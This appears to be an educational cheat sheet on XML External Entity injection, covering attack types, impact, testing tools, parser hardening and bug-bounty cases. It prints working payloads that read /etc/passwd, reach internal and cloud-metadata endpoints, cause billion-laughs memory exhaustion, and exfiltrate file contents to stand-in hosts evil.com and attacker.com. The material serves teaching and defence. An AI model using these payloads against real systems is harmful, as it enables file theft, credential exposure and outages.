# XML External Entity (XXE)

**XML External Entity) Injection** is a vulnerability that arises when an XML parser **processes user-supplied XML input** and allows the inclusion of **external entities** — typically file paths or remote URLs.

This allows attackers to:

* **Read local files**
* **Perform SSRF (Server-Side Request Forgery)**
* **Bypass firewalls**
* **DoS the server**
* **Exfiltrate data**

# Where It Happens:

Apps that **accept XML input** (APIs, SAML, SOAP)

Libraries that **parse XML insecurely**

Misconfigured XML parsers that **resolve external entities by default**

# Types of XXE Attacks

## 1. File Disclosure

Read files on the server (e.g., /etc/passwd):

<?xml version="1.0"?>

<!DOCTYPE data [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<data>&xxe;</data>

## 2. SSRF (Server-Side Request Forgery)

Force server to connect to internal resource:  
<!ENTITY xxe SYSTEM "http://localhost:8080/internal-api">

## 3. Out-of-Band (OOB) Exfiltration

Exfiltrate file content to attacker server:

<!ENTITY % ext SYSTEM "http://evil.com/steal?data=%file;">

## 4. Denial of Service (Billion Laughs Attack)

Exploit parser recursion with nested entities:

<!ENTITY a "HAHA">

<!ENTITY b "&a;&a;&a;">

<!ENTITY c "&b;&b;&b;">

...

Causes massive memory exhaustion = crash.

# Impact

| Impact Type | Description |
| --- | --- |
| Local File Disclosure | /etc/passwd, AWS keys, config files |
| SSRF | Internal API scanning, cloud metadata access |
| Sensitive Data Exfiltration | Send stolen data to external server |
| Denial of Service | Exhaust server resources with entity expansion |
| Remote Code Execution | In some deserialization chains (rare) |

# Payload Examples

## Read Local File:

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<root>&xxe;</root>

## SSRF via Metadata API:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

## Exfiltration

<!ENTITY % data SYSTEM "file:///etc/hosts">

<!ENTITY % param "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?x=%data;'>">

%param;

## Billion Laughs DoS:

<!DOCTYPE lolz [

<!ENTITY a "lol">

<!ENTITY b "&a;&a;">

<!ENTITY c "&b;&b;">

<!ENTITY d "&c;&c;">

]>

<lolz>&d;</lolz>

# Testing

| Tool | Description |
| --- | --- |
| Burp Suite | Intercept XML request → insert entity payloads |
| XXEinjector.py | Automated XXE testing tool |
| SOAPUI / Postman | Test XML/SOAP APIs manually |
| XML Linter Tools | Observe if parser resolves entities |
| DNS Logs | Use Burp Collaborator or dnslog.cn to detect OOB callbacks |

# Mitigation

## 1. Disable External Entity Resolution

**JAVA:  
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);**

Python: etree.XMLParser(resolve\_entities=False)

.Net:

XmlReaderSettings settings = new XmlReaderSettings();

settings.DtdProcessing = DtdProcessing.Prohibit;

Ensure DOCTYPE and SYSTEM are disabled.

## 2. Avoid Accepting XML When Not Needed

* Prefer **JSON** or other safer formats
* Reject XML uploads unless absolutely necessary

## 3. Input Validation & Schema Enforcement

* Use **XML Schema (XSD)** to define allowed structure
* Reject unknown or unexpected tags/entities

## 4. Patch XML Parsers and Libraries

* Many XXE issues exist in older libraries
* Upgrade libraries that support secure parsing by default

## 5. WAF or DLP Rules

* Detect payloads with:
  + <!DOCTYPE
  + SYSTEM
  + ENTITY

# Points

XXE vulnerabilities stem from **trusting unvalidated XML content**, especially when external entities are resolved.”

“Check for **file reads, SSRF, OOB callbacks, and DoS** while performing XXE assessments.”

“Mitigation is about **securely configuring the XML parser** — not about escaping input.”

# Real-World XXE Cases

| Company | Description |
| --- | --- |
| Dropbox (Bug Bounty) | XXE via file preview API |
| Facebook (Bug Bounty) | XXE in SAML SSO response parsing |
| Red Hat / Jenkins / Apache Struts | Critical XXE issues in XML parsers |
| Uber | SSRF via XXE in legacy API |